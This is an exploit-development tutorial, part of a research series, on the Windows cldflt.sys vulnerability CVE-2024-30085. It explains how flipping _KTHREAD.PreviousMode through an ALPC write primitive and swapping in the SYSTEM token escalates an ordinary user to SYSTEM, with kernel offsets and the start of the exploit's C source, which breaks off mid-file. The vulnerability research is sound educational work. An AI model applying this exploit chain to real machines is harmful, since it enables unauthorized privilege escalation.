Exploiting Reversing (ER) series | Article 09

Exploitation Techniques | CVE-2024-30085 (part 03)

(a step-by-step exploitation series on Win, macOS, hypervisors, browsers, and others)

by Alexandre Borges
release date: April 28, 2026 | rev: A.1

00. Quote

"Lobbying is about foresight. About anticipating your opponent's moves and devising counter measures. The winner plots one step ahead of the opposition. And plays her trump card just after they play theirs. It's about making sure you surprise them. And they don't surprise you."
(Elizabeth Sloane played by Jessica Chastain | "Miss Sloane" movie - 2016)

01. Introduction

Welcome to the nineth article of **Exploiting Reversing (ER) series**, a step-by-step **exploit development and vulnerability research series on Windows, macOS, hypervisors, browsers, and others**. Last articles of Exploit Reversing series are listed below:

- **ERS_08:** https://exploitreversing.com/2026/03/31/exploiting-reversing-er-series-article-08/
- **ERS_07**: https://exploitreversing.com/2026/03/04/exploiting-reversing-er-series-article-07/
- **ERS_06:** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/
- **ERS_05:** https://exploitreversing.com/2025/03/12/exploiting-reversing-er-series-article-05/
- **ERS_04:** https://exploitreversing.com/2025/02/04/exploiting-reversing-er-series-article-04/
- **ERS_03:** https://exploitreversing.com/2025/01/22/exploiting-reversing-er-series-article-03/
- **ERS_02:** https://exploitreversing.com/2024/01/03/exploiting-reversing-er-series-article-02/
- **ERS_01:** https://exploitreversing.com/2023/04/11/exploiting-reversing-er-series/

This article is a continuation of the subject built by ERS 06, ERS 07 and ERS_08 articles, where I have already discussed the vulnerability and exploitation of the cldflt.sys minifilter driver and also shown four variations of exploits such as ALPC write-primitive, parent spoofing, token stealing and the three versions of I/O ring exploits. In this article readers will learn about other approaches such as PreviousMode and PPL (Protected Process Light) Bypass techniques , which will present further angles for exploitation. Similar to previous articles, this one is focused on real-world exploitation techniques.

02. Acknowledgments

It's 2026, and even today, there are very few detailed documents on vulnerability research and real-world exploit development. Currently, I have the distinct impression that the era of information sharing is over. In

fact, nowadays, we have several new articles per week, but most of them only aim to show the final results, without explaining the entire process from beginning to end, which doesn't help other colleagues to give their own steps in exploitation research. Unfortunately, the willingness to demonstrate the craft of exploit development has diminished due to money and other factors.

A few years ago, when I started authoring articles on malware analysis, vulnerability research, and exploitation, I had a clear decision in mind: I should share information without restrictions because, in the end, this wouldn't prevent me from improving my skills and pursuing my career. As expected, time is a major limitation for writing regularly, but I continue to strive to establish a solid foundation of information that can be valuable to other professionals. As I always remember, I wouldn't have been able to author these articles without the help of **Ilfak Guilfanov (@ilfak**) and **Hex-Rays SA (@HexRaysSA)**, who have offered me all the necessary support over the years. Finally, research is living in a new era of AI, but nothing replaces our minds, capable of generating unlimited knowledge and solving problems that, at first glance, seem impossible.

Life may be short, but every moment is worthwhile because people are the best thing in this world. Enjoy the journey and keep exploiting it!

03. Lab infrastructure

This article demands the following environment:

- A physical and/or a virtual machine running Windows 11 23H2.
- IDA Pro or IDA Home version: https://hex-rays.com/ida-pro/ . Readers might use Binary Ninja, Ghidra and other ones, but I will be using IDA Pro and its decompiler in this article.
- Install Visual Studio, Visual Studio Code, Windows SDK and Windows Development Kit (optionally):
- Visual Studio: https://visualstudio.microsoft.com/downloads/. During the installation, don’t forget to install “Desktop development with C++” set.
- Visual Studio Code: https://code.visualstudio.com/
- Windows SDK: https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/
- Windows Development Kit (WDK): https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk

04. Lab configuration

This time I have opted to provide a much succinct lab configuration to debug potential issues with the target virtual machine. However, this procedure will work as a reference and resource to be used just in case things go wrong. Anyway, it assumes you have installed frameworks mentioned in the prior section. Therefore, if it is necessary, execute the following steps:

- `mkdir C:\kdnet`
- `copy "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\kdnet.exe" C:\kdnet`

- `copy "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\VerifiedNICList.xml" C:\kdnet`
- `cd C:\kdnet`
- `kdnet (check supported network interfaces)`
- `bcdedit /set {dbgsettings} key 1.2.3.4`
- `kdnet <host machine IP> <port> -k (e.g., kdnet 192.168.0.96 50005 -k )`

As you already know, an alternative is to use bcdedit command directly (it is my preference) by using:

- `bcdedit /debug on`
- `Get-NetAdapterHardwareInfo (on PowerShell)`
- `bcdedit /dbgsettings net hostip:<host machine IP> port:<port> busparams:x.y.z key:1.2.3.4`
- `bcdedit /dbgsettings` *(check the changes)*

As a note, you do not need to create the kdnet folder in C:\ and neither use this specified key. I have tried being as simple as possible to prevent you of wasting time here. To connect via WinDbg, provide the port and key, which are enough. Do not forget to set the symbol path variable as indicated below:

- `_NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols`

After having concluded the configuration setup, reboot systems.

05. PreviousMode Exploit Edition

05.01. Fundamentals

Before starting the reading of this and next sections, I strongly recommend you first read previous ERS 06, ERS 07 and ERS 08 articles, which provide readers with the necessary background and context.

Every thread executing in Windows carries with it a single-byte annotation that determines whether the kernel trusts it. This byte, which is stored in a field called PreviousMode, lives within the _KTHREAD structure and takes one of two values, which can be 1 (UserMode) or 0 (KernelMode). When a user-mode application invokes a system call, the processor transitions into kernel space through the syscall instruction, and the kernel entry point KiSystemCall64 function saves the thread's register context before setting _KTHREAD.PreviousMode field to 1. This modification, which works like a flag, tells every subsequent kernel function that the request originated from untrusted user code, and that all pointers and buffers supplied by the caller must be validated before use (this information will be critical later).

To understand how the mechanism really works I think that sample scenarios could be useful. When PreviousMode field equals 1, every Nt system service handler performs demanding validation. As an example, NtWriteVirtualMemory function contains logic equivalent to checking whether PreviousMode function is UserMode, and if so, calling ProbeForRead function on the source buffer to verify it falls within the user-mode address range, and checking whether the target address exceeds MmHighestUserAddress value to prevent writing into kernel space. When PreviousMode equals 0, all of these protections disappear and the scenario becomes different. ProbeForRead and ProbeForWrite functions return

immediately without examining the buffer address. The MmHighestUserAddress check is skipped entirely, meaning NtWriteVirtualMemory function will happily copy data to any kernel address the caller specifies.

As readers will see, the PreviousMode exploit adopt this line of work by using the ALPC write primitive to change a single byte at _KTHREAD.PreviousMode field from 0x01 to 0x00. Once it is flipped, the exploit executes a minimal sequence of system calls to obtain the SYSTEM token, writes it to the exploit process's _EPROCESS.Token field, restores the corrupted pipe attribute linked list, and then restores PreviousMode field back to 0x01. After the window closes, Win32 APIs become safe again, and the exploit spawns a SYSTEM shell.

Under my point of view, this exploit uses a PreviousMode technique that is fundamentally more general-purpose than direct token stealing (learned in previous articles) because once PreviousMode field is zero, the attacker can do anything the kernel itself can do, and not merely steal tokens, but read arbitrary kernel memory, modify security descriptors, manipulate protected processes, or perform any operation that the kernel exposes through its system call interface. As readers will learn, this mechanism (actually a kind of generality), is why this exploit PreviousMode version will be used as the foundation for the exploit PPL bypass edition later, which extends the exploitation window with additional kernel writes to strip Protected Process Light (PPL) protections from LSASS. As we have practiced in recent articles, the escalation path for this edition is User to SYSTEM with no administrator privileges required.

05.02. Exploit overview

The PreviousMode exploit edition presents some subtitles that are worth mentioning. The _KTHREAD structure is the kernel's representation of a thread's execution state, and it contains scheduling metadata, stack boundaries, APC (Asynchronous Procedure Call) state, and the PreviousMode field that governs syscall trust semantics and, as expected, is the crucial point of this discussion. On Windows 11 23H2, which is the target system of this exploits, the relevant offsets within _KTHREAD are as follows.

The PreviousMode field works as a one-byte flag that takes the value 0x01 during normal user-mode syscall processing and 0x00 when the thread is executing on behalf of kernel-mode code. A critical aspect is that immediately adjacent to PreviousMode field are several sensitive thread state fields and taking a look at them can be interesting because we should not overwrite them. RaiseIrql field is a UCHAR that records the IRQL (Interrupt Request Level) to which the thread has raised and, as it would be predictable, corrupting this field would cause the thread to operate at the wrong interrupt priority and might lead to deadlocks or data corruption. SpecialApcDisable field is a SHORT that controls whether the thread can receive special kernel APCs and zeroing it when it should be nonzero would allow APCs to fire at unsafe times, destabilizing the kernel. Further down the structure, Cid field at contains a CLIENT_ID structure with the owning process ID and thread ID, and ThreadListEntry field links the thread into its parent _EPROCESS's thread list. Thus, understanding this field adjacency is critical because the ALPC write primitive has a 16-byte minimum write size (we have learned it previously in ERS 06 article) and when the exploit targets PreviousMode field, the write necessarily covers RaiseIrql, SpecialApcDisable, and several other scheduler-related fields. Unfortunately, corrupting any of these bytes would destabilize the thread's APC handling, IRQL management, or scheduler metadata, causing immediate or delayed crashes (during the exploit development, readers learn this lesson quickly as I have learned it). This exploit version manages this

problem with a read-modify-write pattern and approach that pre-reads all 16 bytes at _KTHREAD.PreviousMode field, changes only byte[0] from 0x01 to 0x00, and writes all 16 bytes back, which preserves adjacent 15 bytes exactly as they were and ensures that only PreviousMode field changes. The _KTHREAD structure layout on Windows 11 23H2, including relevant offsets, follows:

```
0x000  Header             (_DISPATCHER_HEADER)
0x018  CycleTime          (ULONG64)
0x098  InitialStack       (PVOID)
0x0A0  StackLimit         (PVOID)
0x0A8  StackBase          (PVOID)
0x220  Process            (PVOID, pointer to _KPROCESS)
0x232  PreviousMode       (CHAR, 1 byte: 0=Kernel, 1=User)
0x233  RaiseIrql          (UCHAR)
0x234  SpecialApcDisable  (SHORT)
0x3E8  Cid                (_CLIENT_ID)
0x538  ThreadListEntry    (_LIST_ENTRY)
```

Although I have explained ALPC (Advanced Local Procedure Call) technique previously, I will make a fast coverage of a few details here. The first relevant structure is KALPC_RESERVE structure, which the kernel allocates when an ALPC port's NtAlpcCreateResourceReserve function is called. Each one of these reserves is a 0x30-byte object in the paged pool, composed by OwnerPort field hat is a pointer to the ALPC_PORT that owns this reserve, HandleTable field that points to the ALPC handle table through which the reserve is looked up by its handle value, Handle that stores the reserve's handle value within that table, Message that is a pointer to an associated KALPC_MESSAGE that, as readers already know, it is the critical field that the exploit controls because the kernel follows this pointer to locate the write target. Size field records the reserve's allocation size (0x28 in this exploit), Active field is a LONG flag, Padding field provides alignment and fills the structure to its 0x30-byte total size.

The exploit allocates a fake KALPC_RESERVE struct in user-mode memory via VirtualAlloc function, and the allocation is 0x50 bytes (sizeof(KALPC_RESERVE) + 0x20), with the actual structure starting at offset 0x20 into the allocation. The first 0x20 bytes simulate the ALPC blob header that the kernel expects (without it the data is rejected) to find before the structure such as a type/flags and a reference count. The key field in the fake reserve is Message, which is set to point at the exploit's fake KALPC_MESSAGE structure.

The second structure is KALPC_MESSAGE structure, which is also known from previous article, contains the message metadata and, fundamentally, the ExtensionBuffer pointer field that determines where the kernel writes data. The relevant fields are Reserved0 that contains various ALPC message metadata, the Reserve field which is a back-pointer to the owning KALPC_RESERVE structure, a Reserved1 of additional metadata, ExtensionBuffer field which is a pointer to the kernel address where data will be written, ExtensionBufferSize field which specifies how many bytes to copy, and Reserved2. The fake KALPC_MESSAGE structure is similarly allocated with a 0x20-byte blob header prefix, as I already mentioned. In this edition, ExtensionBuffer field is set to the exploit thread's own _KTHREAD.PreviousMode (_KTHREAD is given by g_our_kthread variable) and ExtensionBufferSize field is set to 0x10 (the 16-byte minimum), directing the kernel's copy to land exactly on the PreviousMode byte.

If readers have already read the previous articles, the 0x10-byte minimum for ExtensionBufferSize was established empirically (and it was, in my opinion, a limitation), when during development of the ALPC exploit edition and I tested a value of 0x08 and silently skipped by the kernel and the write simply did not

occur (I spent some time on it, but I could not find any clear reason). Values of 0x10 and above reliably trigger the copy.

The third structure is the ALPC_MESSAGE structure, which is the user-mode (and not kernel mode like KALPC_MESSAGE) send buffer passed to NtAlpcSendWaitReceivePort function. It consists of a PORT_MESSAGE header followed by up to 256 bytes of payload data. The PORT_MESSAGE header contains DataLength field set to 0x10 for 16 bytes of payload, TotalLength field with sizeof(PORT_MESSAGE) + DataLength = 0x38, Type field, DataInfoOffset field, ClientId field, and MessageId field, which is set to the ALPC resource reserve handle value obtained during Stage 09. This is the critical linkage because the kernel uses MessageId field to look up the reserve in the ALPC handle table, and because the WNF OOB write primitive has replaced the handle table entry with a pointer to the fake KALPC_RESERVE structure, the kernel resolves MessageId field to the exploit's user-mode structure. The 16-byte payload region (Data[0..15]) is constructed from the pre-read bytes at KTHREAD.PreviousMode field, with byte[0] overwritten to 0x00 (KernelMode). When the kernel processes the ALPC message, it copies these 16 bytes to the ExtensionBuffer address, flipping PreviousMode field while preserving all adjacent fields.

Although the ALPC write-primitive targets the _KTHREAD structure, this PreviousMode exploit edition needs to locate and manipulate _EPROCESS structures and their Token fields to achieve lasting SYSTEM identity, and as expected, there are challenges. The _EPROCESS structure on Windows 11 23H2 (target of this exploit) has the following relevant layout.

- UniqueProcessId field is a PVOID that stores the process's PID.
- ActiveProcessLinks field is a LIST_ENTRY structure that chains all _EPROCESS structures into a circular doubly-linked list, enabling enumeration of every process on the system.
- Token field is an _EX_FAST_REF structure, which is a compound value that stores a pointer to the _TOKEN object in its upper bits and a reference count in the lower 4 bits (on x64). As readers learned from previous articles, to extract the raw _TOKEN pointer, the exploit masks off the low bits by doing token_ptr = token_raw & ~0xF.
- MmReserved field is the 8-byte field immediately following Token field, and because the ALPC write-primitive covers 16 bytes, writes targeting Token must preserve MmReserved field's value. ImageFileName field (offset 0x5A8) is a 15-byte ASCII array containing the executable name (such as "System" or "lsass.exe"), used to identify processes during the _EPROCESS structure walk.
- ThreadListHead is a LIST_ENTRY structure that heads the list of threads belonging to the process.

The exploit reads the raw EX_FAST_REF value (g_system_token_raw) from the System process's _EPROCESS.Token field and writes it directly to the exploit process's _EPROCESS.Token, preserving the reference count bits. This is a complete and well-known identity swap (or replacement) because the exploit process's token is replaced with the System process's token, granting SYSTEM privileges permanently for the entire process (not just the current thread). To discover the _KTHREAD kernel address before the heap spray begins, the exploit uses the system handle table, queried through NtQuerySystemInformation function. The output is a SYSTEM_HANDLE_INFORMATION_EX structure containing a NumberOfHandles count followed by a relatively flexible array of SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX entries. Each entry is 0x28 bytes and includes Object field which is the kernel address of the referenced object, UniqueProcessId field as the PID owning the handle, HandleValue (the user-mode handle value), GrantedAccess field, and ObjectTypeIndex field. The exploit creates a real handle to its own thread via DuplicateHandle function (since GetCurrentThread returns a pseudo-handle that does not appear in the

system table), then searches for the entry where UniqueProcessId field matches the exploit's PID and HandleValue field matches the duplicated thread handle. The Object field of that entry is the _KTHREAD kernel address.

The token stealing exploit edition (from ERS 07) and now the PreviousMode exploit edition actually share the same vulnerability, the same 23-stage structure, and even the same ALPC write-primitive mechanism in Stage 22, but they are not identical. Their divergence (or variation if you prefer) lies in what the ALPC write targets and how the subsequent privilege escalation unfolds. If readers remember from previous articles, in the token stealing exploit edition, the ALPC write-primitive is used to target _KTHREAD.PreviousMode field at the same way it is used to target the same field (_KTHREAD.PreviousMode) in this new version . However, the critical difference comes up in Stage 23 because in the token stealing case the exploit immediately uses NtWriteVirtualMemory function to overwrite _EPROCESS.Token field with the SYSTEM token, restores the corrupted pipe attribute Flink, restores PreviousMode to 1, and spawns a shell. The sequence is direct, completely mechanical and without anything news because it is followed by flipping, writing token, repairing, restoring, and finally spawning.

The PreviousMode exploit edition takes a longer path through the exploitation window because it demonstrates a fundamentally different elevation of privilege approach, even though there is not better or worse way to follow, but only a best fit for the scenario. Rather than immediately writing the token, it first uses the PreviousMode=0 bypass to open a handle to the System process with PROCESS_ALL_ACCESS (NtOpenProcess function), then opens the System process's token with TOKEN_ALL_ACCESS structure (NtOpenProcessTokenEx function), duplicates it as an impersonation token (NtDuplicateToken function), and impersonates SYSTEM on the current thread (NtSetInformationThread function). Only then does it write the SYSTEM token to _EPROCESS.Token. This longer sequence composed of NtOpenProcess, NtOpenProcessTokenEx, NtDuplicateToken, NtSetInformationThread, then NtWriteVirtualMemory function for the token, NtWriteVirtualMemory (again) for the Flink restore, demonstrates (at least in my point of view) the full power of the PreviousMode technique, which can do anything the kernel can do, not merely copy bytes to a known offset.

The practical difference is versatility and usability too. The previous token stealing exploit version requires knowing the exact SYSTEM token value in advance, which can be obtained through the kernel-read primitive. On the other side, PreviousMode technique can dynamically discover and interact with any kernel object through the standard Nt API interface. This makes PreviousMode field the foundation for more advanced post-exploitation techniques such as a PPL Bypass exploit edition which adds a second kernel write to strip LSASS protection (presented later), and potentially for future editions that might need to modify security descriptors, adjust audit policies, or interact with other kernel subsystems.

The key structural differences can be summarized and explained as follows. Both mentioned editions target _KTHREAD.PreviousMode in Stage 22 and both use the PreviousMode flip as the ALPC payload. Both include Flink restore for clean exit. However, the token stealing exploit performs its _EPROCESS write directly, while PreviousMode exploit goes through the NtOpenProcess function to NtSetInformationThread function chain first. In my personal opinion, token stealing exploit version is dramatically simpler in Stage 23, but PreviousMode exploit is more general-purpose and extensible, which becomes my preferred approach. Another aspect I would like to discuss is about the insufficiency of only using impersonation token. During the PreviousMode=0 moment, the exploit obtains a SYSTEM impersonation token via NtDuplicateToken function and sets it on the current thread via NtSetInformationThread function with

ThreadImpersonationToken value. In some point, readers could think about simply using this impersonation token for all subsequent operations, and without need of using _EPROCESS.Token write. Unfortunately, there are limitations of impersonation tokens obtained during a PreviousMode=0 window, which I personally spent some time in evaluating alternatives.

First, the impersonation level problem. Because PreviousMode=0 circumvented the impersonation level enforcement in NtSetInformationThread function, the duplicated token is accepted regardless of its actual impersonation level. In practical terms, the token carries SecurityIdentification level. After PreviousMode field is restored to 1, the token's SecurityIdentification level prevents it from being used for any file or object access. Apparently, most Win32 API that touches the file system or object namespace fails with error 1346 (ERROR_BAD_IMPERSONATION_LEVEL status), which caused a considerable waste of time because every post-restore Win32 call failed inexplicably and I did not have time to investigate it. .

Another relevant aspect is the primary token versus impersonation token distinction. CreateProcessW function creates child processes using the process primary token (_EPROCESS.Token), not the calling thread's impersonation token. Propagating an impersonation token to child processes via CreateProcessWithTokenW function requires SeImpersonatePrivilege, which the exploit process's _EPROCESS.Token lacks at this point. That privilege only becomes available after the _EPROCESS.Token write grants the process SYSTEM identity, which makes the impersonation path a circular dependency that cannot substitute for the direct token write. Even if the impersonation token worked perfectly, child processes would still be created from the unmodified _EPROCESS.Token and would not carry SYSTEM identity, which would finish in failure.

Another issue is persistence because impersonation is per-thread and temporary. Other threads in the process have no impersonation token set and fall back to the process primary token (_EPROCESS.Token), which is still the original unprivileged token until Step E. Writing the SYSTEM token to _EPROCESS.Token makes the entire process SYSTEM permanently, including every thread, every handle, every child process, and it is the desirable goal. Therefore, the exploit performs both operations including impersonation (Step D) and direct _EPROCESS.Token write (Step E). Actually, Step D is not a prerequisite for Step E because NtWriteVirtualMemory function call with PreviousMode=0 circumvents all access checks regardless of the caller's effective identity, so the write succeeds with or without prior impersonation. Additionally, Step D is performed to demonstrate the full scope of the PreviousMode=0 bypass because that arbitrary Nt handle operations such as NtOpenProcess, NtOpenProcessTokenEx, NtDuplicateToken and NtSetInformationThread functions, all succeed as if the caller were kernel code. The _EPROCESS.Token write (Step E) is really what provides the lasting SYSTEM access that survives after impersonation is revoked and PreviousMode is restored

I think these paragraphs above are an enough overview of the PreviousMode exploit and include necessary foundations to understand the code itself. It is time to proceed to the exploit itself.

05.03. Exploit code

The exploit_previousmode_edition.c exploit code follows as shown below:

```
#include <Windows.h>
#include <cfapi.h>
#include <winioctl.h>
#include <ShlObj.h>
#include <stdio.h>
#include <memory>
#include <initguid.h>
#include <guiddef.h>
#include <sddl.h>
#include <ntstatus.h>

#pragma comment(lib, "Cldapi.lib")

DEFINE_GUID(ProviderId,
    0x1b4f2a33, 0xb1b3, 0x40c0,
    0xba, 0x5a, 0x06, 0x34, 0xec, 0x63, 0xde, 0x00);

typedef enum _HSM_CONSTANTS {
    HSM_BITMAP_MAGIC = 0x70527442,
    HSM_FILE_MAGIC = 0x70526546,
    HSM_DATA_HAVE_CRC = 0x02,
    HSM_ELEMENT_TYPE_UINT64 = 0x06,
    HSM_ELEMENT_TYPE_BYTE = 0x07,
    HSM_ELEMENT_TYPE_UINT32 = 0x0A,
    HSM_ELEMENT_TYPE_MAX = 0x10,
    HSM_ELEMENT_TYPE_BITMAP = 0x11,
} HSM_CONSTANTS;

static const USHORT HSM_HEADER_SIZE = 0x14;
static const USHORT HSM_ELEMENT_INFO_SIZE = 0x08;
static const USHORT BTRP_ALIGN = 0x04;
static const USHORT FERP_ALIGN = 0x08;
static const USHORT ELEMENT_NUMBER = 0x05;
static const USHORT MAX_ELEMS = 0x0A;
static const USHORT VERSION_VALUE = 0x0001;
static const USHORT ELEMENT_START_OFFSET = 0x60;
static const USHORT FERP_BUFFER_SIZE = 0x4000;
static const USHORT BTRP_BUFFER_SIZE = 0x4000;
static const USHORT COMPRESSED_SIZE = 0x4000;
static const USHORT REPARSE_DATA_SIZE = 0x4000;

static const DWORD  DEFRAG_PIPE_COUNT = 5000;
static const DWORD  WNF_PAD_SPRAY_COUNT = 0x5000;
static const DWORD  WNF_SPRAY_COUNT = 0x800;
static const DWORD  WNF_DATA_SIZE = 0xFF0;
static const DWORD  ALPC_PORT_COUNT = 0x800;
static const DWORD  ALPC_RESERVES_PER_PORT = 257;
static const USHORT PAYLOAD_FILL_BYTE = 0xAB;
static const USHORT PAYLOAD_SIZE_OVERFLOW = 0x1010;
static const USHORT PAYLOAD_OFFSET = 0x1000;
static const DWORD  CHANGE_STAMP_FIRST = 0xC0DE;

static const DWORD  WNF_PAD_SPRAY_COUNT_SECOND = 0x2000;
static const DWORD  WNF_SPRAY_COUNT_SECOND = 0x600;
static const DWORD  PIPE_SPRAY_COUNT = 0x600;
static const DWORD  CHANGE_STAMP_SECOND = 0xDEAD;
```

```
static const DWORD  PIPE_ATTR_CLAIM_SIZE = 0x200;
static const DWORD  PIPE_ATTR_FILL_SIZE = 0xFD0;

static const DWORD  SLEEP_SHORT = 100;
static const DWORD  SLEEP_NORMAL = 1000;
static const DWORD  SLEEP_LONG = 6000;

static const ULONG EPROCESS_TOKEN_OFFSET = 0x4B8;
static const ULONG EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8;
static const ULONG EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440;
static const ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448;
static const ULONG KTHREAD_PREVIOUSMODE_OFFSET = 0x232;

static const ULONG FSCTL_PIPE_GET_PIPE_ATTRIBUTE = 0x110038;
static const ULONG FSCTL_PIPE_SET_PIPE_ATTRIBUTE = 0x11003C;

#define ALPC_MSGFLG_NONE 0x0

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, * PHSM_ELEMENT_INFO;

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[FERP_BUFFER_SIZE];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG     Flags;
    ULONG     ExistingReparseTag;
    GUID      ExistingReparseGuid;
    ULONGLONG Reserved;
    REPARSE_DATA_BUFFER ReparseDataBuffer;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

typedef struct _PIPE_PAIR {
    HANDLE hRead;
    HANDLE hWrite;
} PIPE_PAIR, * PPIPE_PAIR;

typedef struct _WNF_STATE_NAME {
    ULONG64 Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;
```

```
typedef struct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
    WnfWellKnownStateName = 0,
    WnfPermanentStateName = 1,
    WnfPersistentStateName = 2,
    WnfTemporaryStateName = 3
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2,
    WnfDataScopeProcess = 3,
    WnfDataScopeMachine = 4
} WNF_DATA_SCOPE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _ALPC_PORT_ATTRIBUTES {
    ULONG                        Flags;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    SIZE_T                       MaxMessageLength;
    SIZE_T                       MemoryBandwidth;
    SIZE_T                       MaxPoolUsage;
    SIZE_T                       MaxSectionSize;
    SIZE_T                       MaxViewSize;
    SIZE_T                       MaxTotalSectionSize;
    ULONG                        DupObjectTypes;
    ULONG                        Reserved;
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

#pragma pack(push, 1)
```

```
typedef struct _KALPC_RESERVE {
    PVOID OwnerPort;
    PVOID HandleTable;
    PVOID Handle;
    PVOID Message;
    ULONGLONG Size;
    LONG Active;
    ULONG Padding;
} KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _KALPC_MESSAGE {
    BYTE Reserved0[0x60];
    PVOID Reserve;
    BYTE Reserved1[0x78];
    PVOID ExtensionBuffer;
    ULONGLONG ExtensionBufferSize;
    BYTE Reserved2[0x28];
} KALPC_MESSAGE, * PKALPC_MESSAGE;

#pragma pack(pop)

typedef struct _PORT_MESSAGE {
    union {
        struct {
            USHORT DataLength;
            USHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _ALPC_MESSAGE {
    PORT_MESSAGE PortHeader;
    BYTE Data[0x100];
} ALPC_MESSAGE, * PALPC_MESSAGE;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
```

```
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* PNtCreateWnfStateName)(PWNF_STATE_NAME,
WNF_STATE_NAME_LIFETIME, WNF_DATA_SCOPE, BOOLEAN, PCWNF_TYPE_ID, ULONG,
PSECURITY_DESCRIPTOR);
typedef NTSTATUS(NTAPI* PNtUpdateWnfStateData)(PCWNF_STATE_NAME, PVOID, ULONG,
PCWNF_TYPE_ID, PVOID, WNF_CHANGE_STAMP, ULONG);
typedef NTSTATUS(NTAPI* PNtQueryWnfStateData)(PCWNF_STATE_NAME, PCWNF_TYPE_ID, PVOID,
PWNF_CHANGE_STAMP, PVOID, PULONG);
typedef NTSTATUS(NTAPI* PNtDeleteWnfStateName)(PCWNF_STATE_NAME);
typedef NTSTATUS(NTAPI* PNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES,
PALPC_PORT_ATTRIBUTES);
typedef NTSTATUS(NTAPI* PNtAlpcCreateResourceReserve)(HANDLE, ULONG, SIZE_T, PHANDLE);
typedef NTSTATUS(NTAPI* PNtFsControlFile)(HANDLE, HANDLE, PVOID, PVOID,
PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtAlpcSendWaitReceivePort)(HANDLE, ULONG, PPORT_MESSAGE,
PVOID, PPORT_MESSAGE, PSIZE_T, PVOID, PLARGE_INTEGER);
typedef NTSTATUS(NTAPI* PNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PCLIENT_ID);
typedef NTSTATUS(NTAPI* PNtOpenProcessTokenEx)(HANDLE, ACCESS_MASK, ULONG, PHANDLE);
typedef NTSTATUS(NTAPI* PNtDuplicateToken)(HANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
BOOLEAN, TOKEN_TYPE, PHANDLE);
typedef NTSTATUS(NTAPI* PNtSetInformationThread)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtClose)(HANDLE);
typedef NTSTATUS(NTAPI* PNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    PVOID Object;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX;

typedef NTSTATUS(NTAPI* PRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG);
typedef NTSTATUS(NTAPI* PRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG,
ULONG, PULONG, PVOID);

static PNtCreateWnfStateName        g_NtCreateWnfStateName = NULL;
static PNtUpdateWnfStateData        g_NtUpdateWnfStateData = NULL;
